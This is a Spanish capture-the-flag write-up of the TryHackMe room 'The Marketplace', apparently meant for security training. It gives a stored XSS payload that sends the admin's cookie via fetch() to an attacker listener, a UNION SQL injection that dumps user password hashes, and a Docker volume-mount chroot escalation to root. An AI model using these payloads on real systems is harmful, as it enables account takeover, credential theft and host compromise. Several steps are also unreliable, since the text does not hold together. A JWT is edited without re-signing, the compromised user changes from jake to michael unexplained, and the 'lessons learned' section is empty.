TryHackMe Hard Linux XSS SQLi JWT Docker

The Marketplace

XSS almacenado para robar cookie de admin, SQLi en panel de administración con JWT manipulado, y escalada via Docker.

Jun 2023 ~90 min cat4clysm
Herramientas utilizadas
nmap burp suite sqlmap jwt.io docker

Reconocimiento

root@kali:~$
nmap -sC -sV -p 22,80 10.10.231.93
22/tcp open  ssh     OpenSSH 7.6p1
80/tcp open  http    nginx 1.19.2 - The Marketplace

El sitio es un marketplace donde usuarios pueden publicar productos. El campo de descripción no sanitiza HTML.

XSS Almacenado → Cookie Hijacking

Creamos un producto con XSS en la descripción para robar la cookie del admin:

<script>
  fetch('http://LHOST:8000/?c='+document.cookie)
</script>

Reportamos el producto al admin y esperamos la cookie:

python3 -m http.server 8000
# Recibimos:
GET /?c=token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...

Decodificamos el JWT en jwt.io — cambiamos "admin": false a "admin": true y accedemos al panel.

SQL Injection en panel admin

El panel admin tiene el parámetro ?user= vulnerable a SQLi:

root@kali:~$
GET /admin?user=1' HTTP/1.1
Cookie: token=<JWT_MANIPULADO>
# Error SQL visible — extraemos usuarios y contraseñas
GET /admin?user=0 UNION SELECT 1,username,password,4 FROM users--
system:$6$hash...
jake:$6$hash...

Crackeamos el hash de jake y nos conectamos por SSH.

Escalada — Docker

El usuario michael puede ejecutar un script como root que copia archivos dentro de un contenedor Docker. Lo abusamos para leer la clave SSH de root:

sudo /opt/backup.sh
# Modificamos el script para copiar /root/.ssh/id_rsa
docker run -v /:/mnt --rm -it alpine chroot /mnt sh
whoami
root

Lecciones aprendidas